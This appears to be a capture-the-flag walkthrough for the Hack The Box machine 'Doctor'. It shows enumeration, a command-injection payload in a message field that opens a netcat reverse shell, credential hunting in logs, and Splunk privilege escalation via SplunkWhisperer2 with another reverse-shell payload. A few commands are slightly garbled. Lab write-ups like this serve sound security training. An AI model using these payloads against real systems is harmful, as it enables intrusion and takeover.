
| Machine | Doctor |
|---|---|
| OS | Linux |
| Difficulty | Easy |
| Creator | egotisticalSW |
We’ll start with connecting to HTB network by making connection with .ovpn file and then spin up machine. This box’s IP is 10.10.10.209.
Let’s get started with nmap scan,
1
sudo nmap -T4 -A -p- 10.10.10.209 -oN nmap_scan

nmap result tell us that there are 3 ports 22(SSH), 80(HTTP), 8089(Splunk httpd) are open.
let’s check what technologies are running on website using whatweb tool,
1
whatweb http://10.10.10.209

let’s visit http://10.10.10.209,

we land on website’s main page.
Let’s bruteforce the directories using gobuster,
1
gobuster dir -u http://10.10.10.209 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php 2>/dev/null

after enumeration from gobuster result there’s not much we got. So now to find the login page(which is hidden in this machine), we have to do some important steps.
In order to find the login page, we’ve to add resolved domain address with its site’s extension instead of its ip address and to do this open terminal add type
1
sudo nano /etc/hosts

now when we search for doctors.htb, a website signup page will get open.

now first sign-up using fake info and then login to website for further process

(remember this account will be active for 20min, so you have to make a new fake account, which is easy XD)
using wappalyzer, we can see that this machine runs python programming language,

now here we can see the home page of the website and there is a new message tab. Click on new message tab.

now go to terminal and start netcat listener using nc -nvlp 4444
now type the following:
1
<img src="http://10.10.14.19/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.19'$IFS'4444')">

now post this message and we’ll get a reverse connection on netcat listener
here we got a connection

Let’s improve our shell’s functionality,
1
python3 -c 'import pty;pty.spawn("/bin/bash")';

now by default permissions are denied for anyone to access any files in system

so we now we need to find users(shaun, in this case) passwd and here is the location to find user’s passwd

but the output of backup is useless except email and password which can be find using this command
1
grep -r password?email

it’ll narrow result to email and passwd for us.
switching to shaun user,
1
su shaun

and now look for user.txt file in this directory

here’s the user flag.
now we’ll we know that root access is denied, so in order to find root access we’ll do privilege escalation on splunkd(see nmap)
now first clone SplunkWhisperer in your doctor’s directory,
1
git clone https://github.com/cnotin/SplunkWhisperer2

then follow these steps,
1
2
3
cd SplunkWhisperer2
cd PySplunkWhisperer2
pip install -r requirements.txt

and also change the permissions of python file,
1
chmod +x PySplunkWhisperer2 remote.py

let’s start netcat listener using nc -nvlp 1234 and let’s enter root user in our own kali machine to execute splunk payload for privilege escalation,
1
python3 PySplunkWhisperer2 remote.py --host 10.10.10.209 --lhost 10.10.14.192 --username shaun --password <password> --payload 'nc.traditional -e/bin/sh '10.10.14.192' '1234''

now we’ll get a reverse connection with all the access permissions we want and now look for root flag

We got the root access and root flag as well.